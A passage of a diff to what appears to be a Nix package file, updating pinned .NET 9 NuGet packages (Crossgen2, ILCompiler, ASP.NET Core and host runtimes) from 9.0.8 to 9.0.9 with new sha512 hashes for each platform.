-      hash = "sha512-qa9R51SRJWc9SdEM3BGVEnV3AQm9rSQ6EjBELmcwE6mUymrLCSnHu3HcEh6BNtj3Jb1mk4i/mU1dWag/C+qdMg==";
+      version = "9.0.9";
+      hash = "sha512-69+Y2iyi+p5X7EOF+iGs6foOhCpA1JIfXxaimipMh3U+5vUU1g5jf+BexzCidM6FgbhkFCEt5lw1TFMrxZiphg==";
     })
   ];
 
@@ -40,118 +40,118 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm";
-        version = "9.0.8";
-        hash = "sha512-U7dmRLkAb8vAO0UlHXtPHsljYS8XRZW2GnTc/3KCvtnePTQvVaOwAr7iLyY5buPykg9Pd88wwzBBOtF/97mlsw==";
+        version = "9.0.9";
+        hash = "sha512-l7spf3TE7A5XsgA0HRkbmYDM9S9F0MRCkORxp+wi36OxbKrxkTg2YoD7EjZGPFD374ZRZY5ExZWhZd33Y9P/Ig==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm64";
-        version = "9.0.8";
-        hash = "sha512-N4tnUp+0xdKb/m0tmHBic2YKlO3oWluKGtf5nd3eRZmtUdHQOCOjwCZzzSG1TW4MMIBbtc0ul21CeDd3xTghCA==";
+        version = "9.0.9";
+        hash = "sha512-kyQI7HZcsIjNScBcpy4IDk/OSa8fcdRgJkQLnMaGGBoM0ou2d73d0in3Jh0YIKwDnmCPI4O/54+kDB7e73TxJQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.8";
-        hash = "sha512-01bVanORYWTIBcqg8SJfqVrWcadM/u9MYe6Y35fKjTm+S7nqmyXXxkJqsSW1nSiVTKLopIomBZU0vF6s6EHwXg==";
+        version = "9.0.9";
+        hash = "sha512-zH+nJapjIL97SGQnVe7lSSnB4SCNvLaebGkBe9/4j85Z9F37DdX2lPRFrDAhbN/RnBhQaf8iKqHZ2O6Oj+pzLw==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-x64";
-        version = "9.0.8";
-        hash = "sha512-4JvBQlwuNpWip4n/jOMirgb+KTq40S1dHcq5/nBmojKRMARUU/lJiUqdH85NRamUE5iJocNsndWMLuqfJg9BaA==";
+        version = "9.0.9";
+        hash = "sha512-zzTkfpsabKX7gw986tFP35KUUSdvnJsPTYoH5fXAGP+wkyeUXEkRdyq8rMnDPOgNPvD58iOotmjcwO/SXNssLg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.8";
-        hash = "sha512-rRu/lQKiSzP5a0Jo0Y+gD6dF26ZeRXkJWoRwxYGmj1NowU3DedL4tidTdFSVDJJ7p8jGLRhDB6x+MjpE05QL+g==";
+        version = "9.0.9";
+        hash = "sha512-nbbjJS04mF4DB41P92BNuzGfVoxnxaoDUqDNsIPfd7V2o45/QhM9rbxzKEA8CxajsQ0g+l/LDp/Fpv4fkKe5sQ==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm";
-        version = "9.0.8";
-        hash = "sha512-vWcLP1paVt0v4fwHJB0GYYybIhfMFCiD/hdg7Vfnvm1kkNOARP88U9xfSMhYN/EBxMzG2Q29kI6e6vTMrXrVNg==";
+        version = "9.0.9";
+        hash = "sha512-ZBaxX3Bgg5k3El5i0Cd7VGOhbp2h7Zvz6qa1RpTFoBFlekxAf2x4KgqCWVgZTHBd+Uuq2Lf/Uwi3grEKPkOZBQ==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm64";
-        version = "9.0.8";
-        hash = "sha512-IkE1/clVa/ECX5w/hQy1Kt2BEMWjpmPhJJX/IDT6Igd7gckL4Funf31B7MJwGwmACF6uzGYSZHXM4GcyPYTyCw==";
+        version = "9.0.9";
+        hash = "sha512-bi2NGA67gk67VROUpbdo3ilm8kFYyilNLw6pWzkr77/urDVZhiw3gu46STI+wC+lwTTZx4j50H4h0mnZv567aw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.8";
-        hash = "sha512-RiKfoTAn5AeGNBuAANq0Raz91lSkTXFc5xFVNW7Ff7Gtv5unLAVvGfP/xwQVZtLHhIcvmyWo20mYf2uScdk12A==";
+        version = "9.0.9";
+        hash = "sha512-OV1ZU4dAdukE8my0sxxueygWhUfhHIVliQUtDZYjvXRhR8IAKX5mOiD0vT5b+PakutqBght7Jn3Kh/Ft/EimqQ==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-x64";
-        version = "9.0.8";
-        hash = "sha512-dX1sfzQ+VMxakA/Q1g86LDpZdPAypT3GuYpd0HyzoFUoOMGS0KfQjBlG6Ujz6nGTrBR1627DB8o4UjrCtZO1Mg==";
+        version = "9.0.9";
+        hash = "sha512-3+wb9BwPwaqkIu1ki2zf4StqhWHNbMzxVKIEdbLTYFmHRb9J8EidVSsE9mO/0EjIrI5B3hvHgDQXQTodn5w1WQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.8";
-        hash = "sha512-kOOuClCiRSu4qzUzBSnSQJiUtvZb6P0HB/005dDLB7hqVB0AtYRp7qu7qi0y5nYx/c6c0vdBqtyPMPkRx3NXGQ==";
+        version = "9.0.9";
+        hash = "sha512-5esm4aBp1NtzxfujLWxm3FuKSzou/JFFOa36yfF0sPJRe5aNjlHJ7iKIdVY6HpZTcq6YB8APqL7haRso8fT1ZA==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-arm64";
-        version = "9.0.8";
-        hash = "sha512-RL39h0pyBnVYPshzvJOJtlbmdKvUvuWgf+tHBzl455jZqfwt7RsPf2WvROXCME0alrExZB6g3VSNbHhoFIo5CQ==";
+        version = "9.0.9";
+        hash = "sha512-xrgbfVvjHKKpLd/JPiDR6ubhC+igwzUny21PT92jGEQI8Q4XW0odmlsSFTxvcxNBJqFC22HrHx8YBjai0fIjcQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.8";
-        hash = "sha512-v12pAEBEbWm651O1lVlTZS1NyM/mEhORJ0JcVnEJQpS5u317/uDdqZ7LknIppwQJfqhF2rIg02jS3yElfg8O9Q==";
+        version = "9.0.9";
+        hash = "sha512-tJh+NJffHrQCRxrj9dV7RR6Blnpr6MfNRAcGAwM0NZuU2YaVrhQAkaXYIvKcKxG84e9eFCH9g6+PVNI/WCAF4A==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-x64";
-        version = "9.0.8";
-        hash = "sha512-GfVFJvhYUoJI4WbvOiAgMT4HS1+gMTizEXRuxlL6nmI7fVJNReIWOB3LsEBAaZOJbqBoGtciwVU7Oeu+nsOekQ==";
+        version = "9.0.9";
+        hash = "sha512-WogVCntUYVpqoceJARNXWdfQAFj4EgeaKjNJqVRIp4oqoQA/FPMJ0O08Le7gAJs54yn23hbLHd6qwyWE0Iln+g==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.8";
-        hash = "sha512-+XMW1cOzIwTSTcnam+tlZPa80BHlvugmxATXttjXY1u1DlJJXZCBHiE0cjCeO99k9VpwFr4g9MRHKgfJcNHKIA==";
+        version = "9.0.9";
+        hash = "sha512-YAAE7p296usegl6dDQdsZw0/iktpvsaDWT6UKb0xNypOtooHrlm/NDnKbck9aMi5oaZjbu2KIixxB6JeB/V0ag==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-arm64";
-        version = "9.0.8";
-        hash = "sha512-tGARYv1U56BWPK0A3/2KmtYNPBSovSxIRVEP/7hh2d8kFbszy3RqzKaFNz4Anf3ZfNHGMrMK2A5DvqEIxR83eA==";
+        version = "9.0.9";
+        hash = "sha512-30sfrI/hwMtS6Ko52i0OuQYxIVJUt/8dW7Mrc97Rjm6H7kzanMtGDdT3aJOyivmWZNuOc81PrpTrfRttLNhhKg==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.8";
-        hash = "sha512-4slzmfzzj8K05cua+22dKz5OwNyYxEBXUzvosh/+jKmgEFpug74PPdTp2sgYliRUxUO/o1O3mWcXxMgp510k2w==";
+        version = "9.0.9";
+        hash = "sha512-Dy4dOnT/QrFkSAFldlDnIsD+AU8f6/fGKa/OL7uAocllb6kwE2fSZ7HpDYYWmreVoIjiyuZ9e3wBy1HTPDe4MA==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x64";
-        version = "9.0.8";
-        hash = "sha512-3VG/IV40RDsfc1F84fqE4e9t2MZG24pT29acsLpIeIt0K8GbfTFG9yPDK8/XXWqAqDSdVuVrLzQKHHFbN1hFVg==";
+        version = "9.0.9";
+        hash = "sha512-gVGT7ewQ+/2PcJ5BMyKOLkHUvCy++Sr1ZCiphUTO4nZq5Nw6D+M88YpGEYSN7znS01NDacMyfn9SpmzyIdJIag==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.8";
-        hash = "sha512-QIrPBAMJx0FBhFDMTwjwKm0Wp32egd3Zb6Fy454VkhWKq+bHZStSVVeLIfNnpemqZn5ULkmCQQWoOooAw21I7g==";
+        version = "9.0.9";
+        hash = "sha512-kFNKIL6LWxofPO4JkcpXu0BDCdRmRHu1DgQJwIf3ONOv4FKILb0jLftw5ZhpMVYtzM0ZkpMt7p+pcJ86yM8MTw==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x86";
-        version = "9.0.8";
-        hash = "sha512-kauELS7o6BPUFsLueozrv/dtUgY3HYlK8xxlsWkQNMILiTWhmkNoXyptjFAc8sCdthPTXryws5DFBg4A+kxmYQ==";
+        version = "9.0.9";
+        hash = "sha512-8it9shRGYYMx3yWp4d2K7gjuQDhcPJDlBi/7HQH4CYt1kOp28Feq0u89kxsOAuEG7aP620kMVOjUXwvx8VTgkQ==";
       })
     ];
   };
@@ -160,361 +160,361 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm";
-        version = "9.0.8";
-        hash = "sha512-1C0R3FapqJo3Cu+DyMX0mwKVFTRtJnQNtQ0TOWEnT1N8lH/PRDsZH+tHal3U7/PkdWY9D1FmbsKQ7uxZNOmeKw==";
+        version = "9.0.9";
+        hash = "sha512-2yYu8wPbzfXQBU61nU4/tTUDLPSj80jIjNCz66sJ45mjJ0xJkdOaBOlyJ2lu98C0AUwkJ0BKRM7FJ9WTtxSxrg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm";
-        version = "9.0.8";
-        hash = "sha512-4p6EKTtSGhY4WV3XbdNVsNnWl7JvZkzmCBJImCIqY4eB0kV8BpqbNCO0kopi7gNmNGWsp97yPI4D3HuFi+IQHg==";
+        version = "9.0.9";
+        hash = "sha512-7Cn2JMd5KZWw0n6QakSjUsIO39YW9swm0y63M+m2JkCtHdTnBT6CZGswleGOBinebMJXrJcBv/m2eTYq5R4icw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm";
-        version = "9.0.8";
-        hash = "sha512-opZhwxdkU3wGOc42sLvsaoEfZ6cIzB0VfYlTowUeLqISP6Bw1YLE2x9y5IXjVHbRp6sKyIDQyrs45h4+MzLTMQ==";
+        version = "9.0.9";
+        hash = "sha512-3nPmFqr69XC1HbUbzUgo3gGz/d5ACZ7HC6aVKiiPp/EL7ze6Y25+1KJY/E04lQ6KqPi9MkGww0hxrKVXA3ulLw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.8";
-        hash = "sha512-5vJoOboU6uFIKZxF+oLVoCg7kuH+94YtC+nrO7l8YWdwba2oyWTPXoAfM6HnbzY/g5Omcc8oUNlKRZdwBuGBXg==";
+        version = "9.0.9";
+        hash = "sha512-J8in2qwkMY/iuLf+JQXz7yegNGvi4Evy6GlFcMw/UZ05wMmpGYT4j0yPo0XU2WEsjmZbIXTkdqGSejerJ/DMDQ==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64";
-        version = "9.0.8";
-        hash = "sha512-LxFcfH3yCeCTCu4YY0Rw4ZikgDqTD4TTZ19SZSqD69BDw74dKxcmCrQ9/A4d0DAFiqKEMMKTk3EVZ+Bqo/jVHw==";
+        version = "9.0.9";
+        hash = "sha512-T8gEze69wKZuJJq3hPrLis2orzgdsFIHF5gQYYnvlqjshzUvA7CFJ/lQIKxVUF8nXxAvbXutN0znT+OSVRn6mg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm64";
-        version = "9.0.8";
-        hash = "sha512-tyRDrV53rTqdgEZNeWnLqOUpHuTdN0DwWuo726hpftJS0gqh+HpZpGazuzePUToD27O7gNx8Z6+eUbqUvpldKg==";
+        version = "9.0.9";
+        hash = "sha512-VU2iPvoScdX72B+jgCd4NhkFzGj8HX5Pq4/TTdE5QglEFg6gJT+UtVhOWyL/orVpphx5YmMvw3edS5cFDhkWaw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm64";
-        version = "9.0.8";
-        hash = "sha512-jH9WiOhUASzf/3XNOQGZtmkd4Zb+3qjhTB0qItNQO+HqJV8QZI/4XSrK6xEnoJS2J75N8vg/SDCTRi3BbR/qew==";
+        version = "9.0.9";
+        hash = "sha512-FGmeDfP2ys1zJrGfHpErBTPtXXo7aoBe9MQsndijsygBiJIRLAxY+IYCd8EM0NWjuWrhiTyZFxeNG6m+8eBG1Q==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.8";
-        hash = "sha512-ldyC7aYLVx8PBpT9/SJw6Gi4pd6fEEMPCwxXpjUPtmhQVqjHKOtSeyt4mERDGlJBY5egNzHkF5Rc99yca20Y9w==";
+        version = "9.0.9";
+        hash = "sha512-FaJsi8Yedy/eE4I7aT7lV4/L42kB1Omp0REHCUEtTXsdY+X7S1G8j2/iy7G5wG/ptgjzC0Zuzg2PHPa3OCel4g==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-x64";
-        version = "9.0.8";
-        hash = "sha512-kuP8TvuVRSUqTFW+Ui5IfVA8ewaRkerGRW/5ktUnViqtCPQsjkvxLxlWqt1SO4sRW57q9y+QZNDO2dHdNCTd7A==";
+        version = "9.0.9";
+        hash = "sha512-A9veAnV1k0Chjs4e3Zj5qG4QDPuH3EX60S6KrH/xTiVxoLPQkeBEIERD8DK3LbA1sTgqZpninVdZ5WunGJxBmw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-x64";
-        version = "9.0.8";
-        hash = "sha512-+Iz4IIEdJhFUKsbzFn12YR9lGs3O5XAuXw1e4M4wzzVyoix1J/O7JE/p6Ep/MxdWUrud89hledyBgbk2A7tLEA==";
+        version = "9.0.9";
+        hash = "sha512-R9z/YVnJ6XhtsUJMl5TQEs5MEPEtIEyQoW7gU36y4uOqJNDT2n92dIffNv6rXig7VxilNS285VlvZh/jx2dPpA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-x64";
-        version = "9.0.8";
-        hash = "sha512-EKY7/AGlcUsgcMTm+0XJQtGZUH3MXQiIHaUsgK4UvugRzVAdqvwkSAs0un1mc4evvzTgWzMl9Yp8HapVWIMdpw==";
+        version = "9.0.9";
+        hash = "sha512-z8hZUGhxelmSl/s0yqBkc3n7IUv8EUg4FEetPJJss2qjDX+Bwhao+bLYqCzpMugd/2iDD4EhLznrIkxl9ZJtBg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.8";
-        hash = "sha512-pnIOiulipfx52mhy96M3v21YBsDYfzLJ21hr7tHCNaWtnBsr5dsnIfVNPUvaQQ2QJcadmrkoyhk18Dmb3QTmog==";
+        version = "9.0.9";
+        hash = "sha512-fJn4MpQtw4UUCgqVgqt9cTfc3xsmUs/zpzwoVgDB3HO7h/evIOIOu8bodG4FRySPmumgmWUuNYYIXEy0PTSQDQ==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm";
-        version = "9.0.8";
-        hash = "sha512-lzTfzT1Yd2o4KG8z+qu+CwJ1dNV2RhKOrypH6wIRHRd1ewTE3fLTOesq/OAhSJswIxjyG1g0a4K1kL98UfhKlA==";
+        version = "9.0.9";
+        hash = "sha512-uWh3vHt4f7pBzW8JZIt5IyD9p4IzjQvWqw4TdpSL33KN1s5r/lfiy9YFwf5iNVxVfC3Djo3N+KE1mNKBj2l9Ew==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm";
-        version = "9.0.8";
-        hash = "sha512-v2Gg1viOsyHEuZT56c2P0zVUFpZGrYjdzXIsQejjAd6aRGu3Xl23sRob5cM49p4VOq1Ywv8sHAB1lhVwa7Mxjw==";
+        version = "9.0.9";
+        hash = "sha512-WUWAi0jtODxARVNj5mdG55eTFjmZGVUQeS9daagsjFDUZuuPGkb6bP1fM7z7jUCK9o718jfUyAdE/L9Zbp4PKw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm";
-        version = "9.0.8";
-        hash = "sha512-jcMcr02ix+UM7wfSuSHGO/ZVbjDllhEQo0G6hPvL0n+8qQAu7p694JbFCVO+1h+wMOgudlFOBPLSb8ucTHb4Mw==";
+        version = "9.0.9";
+        hash = "sha512-eXZKZxY5E5pSztmIF9V9+TURwZd3CMF5zmHoRennOM054pzFSouBXlWTOlfWRNmIM+MP1Jg0IUxgIJpDJmLBNw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.8";
-        hash = "sha512-rephD4BBZWGzDM0nBn/IJCKyUaHhFFweXlZDQg7SzADACJDhr7pnAXr6WBDWBOZvtoScDO42W9SXBxebLlee0w==";
+        version = "9.0.9";
+        hash = "sha512-frSOH04K9koPazK76I8ZwM7fym0qm4L39+M0KfTfkjky5h1pyF0wyU1bYGC+S2+yZT6nFW2zHqhurakc81USqw==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64";
-        version = "9.0.8";
-        hash = "sha512-Fdc0fvuu9ufeF05mPezAlQGjNw48O0050itpfpc2xaPz6Tkmt4t4QS46iHKUlek3eosQo+TWgKr8+ydA2rTtiQ==";
+        version = "9.0.9";
+        hash = "sha512-1kYCnZNFFJ9F397Z3gl2SwcURBhJWPiGzBvO/6iMm4RC6ZWUuk91qhM8FrVJJMhoohEkwXhmlsuxBaNaANIOYg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm64";
-        version = "9.0.8";
-        hash = "sha512-IbAy/N9knqt52d8Jg0ZPlht8PLGlxFrkUFGLOu9q1B6wyNAxcr+SNcAuqIQndV2aiC1JX1LxF+Z/RtR/dllmMw==";
+        version = "9.0.9";
+        hash = "sha512-3uqbDc7fIJItKIWxh7wGabTa0wskjFuIXjA3h2zX4Q3/dewAZ2OYH1LCth0AMfmOMlJxBHPjSRdCElzUHX511g==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm64";
-        version = "9.0.8";
-        hash = "sha512-eiuv/paMs3fiSFeGtP6EvmappnNAPl6oSWJJGPPcGCyjHKlvbvXXAGB4bo1gh08bDfyh42y9tzkFjj+N3eoJ8Q==";
+        version = "9.0.9";
+        hash = "sha512-w9ftFt+wK2g04eDOgXSxGSqCpnquZ20G8breOb3sBM0S2YnOOo4A64/yvQbvXdSYhsajAqNNSRjo/Z3nQ08erQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.8";
-        hash = "sha512-n3582g9jXAzHDeBllHPjaihaGd8Q5ZMKgSh/2NpVB0SRw3Ie7jCHBloadFAqsz4CbMqBqz9bcwWJSs3UelF6Cg==";
+        version = "9.0.9";
+        hash = "sha512-e8tW+vdm1DDGpkJr6Wb5WvDFnD02q02255IwEmO4wFo9Qj+bCpUHMlCPda4HAgknxMh75zk+AB87QwOvluaCUA==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-x64";
-        version = "9.0.8";
-        hash = "sha512-7Iu6w3otpfLf3PDvtus6k0DHYfyFiZ4/FrltO/3+7CPhYYNWtz69/CS7zMUbSebr47CMtGxDHa7sgwRhuQ0udg==";
+        version = "9.0.9";
+        hash = "sha512-E4XDkM4huvFvu8w7icD/oIUivcF+15Ro0mea0Qq9gvTIMmCLdwUNe27yb3PDc6CtC7MAgANlyVAGwGVVWer9jQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-x64";
-        version = "9.0.8";
-        hash = "sha512-2MV4Mm2P0a7Xj33qe2DhxcUxORg4rOBx1MPrmFScypuzqwlcm7Ky6ValuVodGVAeziqxewG+TwEfQ+tlQtKTKw==";
+        version = "9.0.9";
+        hash = "sha512-K8QFb8DhBzFouXazTEFy3Y2TVE2HjY3XTeuZRHwk6ySHos+TXZZA6EHXhnn+u39zgTMQaSD7LQIswHYHIfdobw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-x64";
-        version = "9.0.8";
-        hash = "sha512-jx7ySFpxyeGIGu2e/RwWI5Qp0/Qi+7LLAnGa3p2ErCbEmx8cQpfzGijxKekjEhtOVIEFt3XDVUBaiShiFCAp7w==";
+        version = "9.0.9";
+        hash = "sha512-09cNAKRq9I8jqY+7KyMvKn1/QRExtF+KGO4NvqJDZquH9DvHowIhbKc9sktEEiviJ25zEI9EXT8VIq+6Y2iUfA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.8";
-        hash = "sha512-DAzBxlAn4kHG5UPmIIcNzLyVOFWmsSw3FBFE2k1gFBINRJQxsch/OYGeHJOvcV9AE1kCdOpwfvXkAuYsZ1yqJw==";
+        version = "9.0.9";
+        hash = "sha512-nGpqXHHhhWzlTBFsK47TSU0H7j3ShOTTlT6iaM7qquoCur7+ycLSW4g4GwcnD0mPAX/0khW31WLbzosQSP1+nw==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-arm64";
-        version = "9.0.8";
-        hash = "sha512-7/dik29myG9DpI57mqgQUZKBqUTch4gJPUVTsGwCrpX/+2fCRUMh6wTDZKVJigQmIEAOPDmjVjLsB/46QhCDdw==";
+        version = "9.0.9";
+        hash = "sha512-aeVhbXDevdrsKqRyFqiNwY0YXevA+z0VYmT4IsW51UtmnvJ56iPByoJYdSrz0leYTSYROZofTJmx2bkQ0uKwiQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-arm64";
-        version = "9.0.8";
-        hash = "sha512-bCH5hRqBpZXNuNO2xmhx4EmZtP6qvH7qlNP3neR9LhaRR2V6ttRwH2LOPZNaMiroNo1V4T+aDYsqP+4blJ7vFg==";
+        version = "9.0.9";
+        hash = "sha512-xileSZyCIhYQJy4IXAsMZ+OktYWnz5wzTNsTKseA6q/maRZoqNTLNu52gBT4fYlMHiAKMahXymVuPbS4sGwmIA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-arm64";
-        version = "9.0.8";
-        hash = "sha512-VKdx5FBTl0DJSx3tXhSpEQmveT3plCbxvWmDiNmpZ1mroNunXT8F5HLfpnHBLfJ/AYoA/aR/rDDLK5521EjScg==";
+        version = "9.0.9";
+        hash = "sha512-tPSjzec3eQ5yl2s31JWBMQ7eU+uYwHwwR11/IUnkJJhYucFtOwEcbtsN1YQhIPEUNFqDJb59+/UZ1SyAqHe9eg==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.8";
-        hash = "sha512-Jzq382A89/24L3mRaWqD7SBzBO8Q3gFPksq5xnMrkt/kvTES68kMChvime8TE9Swq22vQNdmWc7Oleco/VsocA==";
+        version = "9.0.9";
+        hash = "sha512-cbIksRu6+gRPYnaSSeXzUbsmPqShDmmqO8y590qKa1yL+SELQQwQ5NyhsMw6b40VpAzjNtB2IQsTW5s77+gYzA==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-x64";
-        version = "9.0.8";
-        hash = "sha512-gsCIp/l+fBFkghgipU7AlJmbN9mBioZ0gTJ/71Ue3brd8oT+JTHljk7Byth43Wz/QHqvW6NtMfB/KMba+Ovcrw==";
+        version = "9.0.9";
+        hash = "sha512-Ro/9lBic5EUjAd5tEgQJF5KDtO4B6a/g2CiHt41S8tMddQ71VHuBAvfH9HoHrdJWXK9kkBzqV+gXNqsfariD4w==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-x64";
-        version = "9.0.8";
-        hash = "sha512-1bPBwHyTuD+bM2mIs/lDzPSbxUv3td2KvxqoslykADooEXMkEldhP4h6GRJabTygMKzpG36kaUbVhmY0Z3YzQg==";
+        version = "9.0.9";
+        hash = "sha512-HLRXCdV8JHuZCDAyQC4mW0h/dx8Al9h1zZw7HQBd7Q3RZb29myQr0CWvyXgunMKkMBOI79SvfJe3qKfawwyerQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-x64";
-        version = "9.0.8";
-        hash = "sha512-iOBFiwX+SH3Sz6Re+xDVTUrdtNzD+A0w4CgmhKyvGEm+S2gXHKptcYTfuHPWxgXkewJfLFGb6SNjcdqpbC2ETA==";
+        version = "9.0.9";
+        hash = "sha512-4BWz2/9630bM3jT0eYeNWUeFTzS/aUnDhHLu7oIabp7DuRO6QY8uOQHdfqZyuRrDloNTXWGskMIm8a17NHAwvg==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.8";
-        hash = "sha512-KZKJ7e4Mq8E06pMAtTnyjmk/SqNEEMLHcbESLJ7ggVedHcJA/elymIGepIZP9jSwQjtI1v7ggIc3g9C63QDrtA==";
+        version = "9.0.9";
+        hash = "sha512-f8yHrJ0nPQ6VweI6J0F9SsZbzFaekmX+ljSpyz/rHo3RwtTe5ag32wBxJu6yweXkW/co8zFKQyC94s413/RwLQ==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-arm64";
-        version = "9.0.8";
-        hash = "sha512-NJTDO+UX/6NpAORJ+AsL177tpbgCTAaSavaDKKTkz8wwdesjcT0OEMa6XveImmOA4KDQsD9dyPZk8CY+y/+6EQ==";
+        version = "9.0.9";
+        hash = "sha512-JT2kFQLUwkaGjEWYNQT4w9xCe6qgn7KnkVswIcmq+BCsnj1GNkR5eiTS1J9WMbKdCOafFuxR+4GeWJgBUrs2Og==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-arm64";
-        version = "9.0.8";
-        hash = "sha512-LJ3kCcdyacCBeii37XDf8uSWGrkEa2rpwyCQRnQdPKDQKs3QemPqXBiodbUGe40jxsWeg/aTh68ux3E0w5A6ug==";
+        version = "9.0.9";
+        hash = "sha512-l/3rxZ4z7ektuLBC1jy6q/JrB9avNZLkY/TakGRmuV0klv1Uepbj8lJPnYm02IOlYJ+oyhWGFjeVzAhmTmr9FA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-arm64";
-        version = "9.0.8";
-        hash = "sha512-r5eVgUvphRSxeAkmjQsbSQI7phyaFklVs4Mwu4Qgr4HAu+UkZI8UJi23jKbK8B5iUuqj+L2bE6/hNti1XIvQNw==";
+        version = "9.0.9";
+        hash = "sha512-SsKEfphdtBw16QyRLTAbVht3LifNGZ/IllQqVSX5DG7qD2BxJ3//qoboNOmpupf7JsZQe3fWKObWoNdcUYpmGg==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.8";
-        hash = "sha512-KpD57JOPE5YykXteBFpIhQAs5TVrJKWxryEPpW9jdr0K73gGClquXUexYGjiHk++EPTr59aRKcUKQrNyZXOmDw==";
+        version = "9.0.9";
+        hash = "sha512-isb8z7xhoL13Rtm8ZCzVCTWf5fWjyMERGkDqQNoQics33WfcCp3HgVRL5Gufr63lg+JFKz49q0C0LSa59pkSkA==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x64";
-        version = "9.0.8";
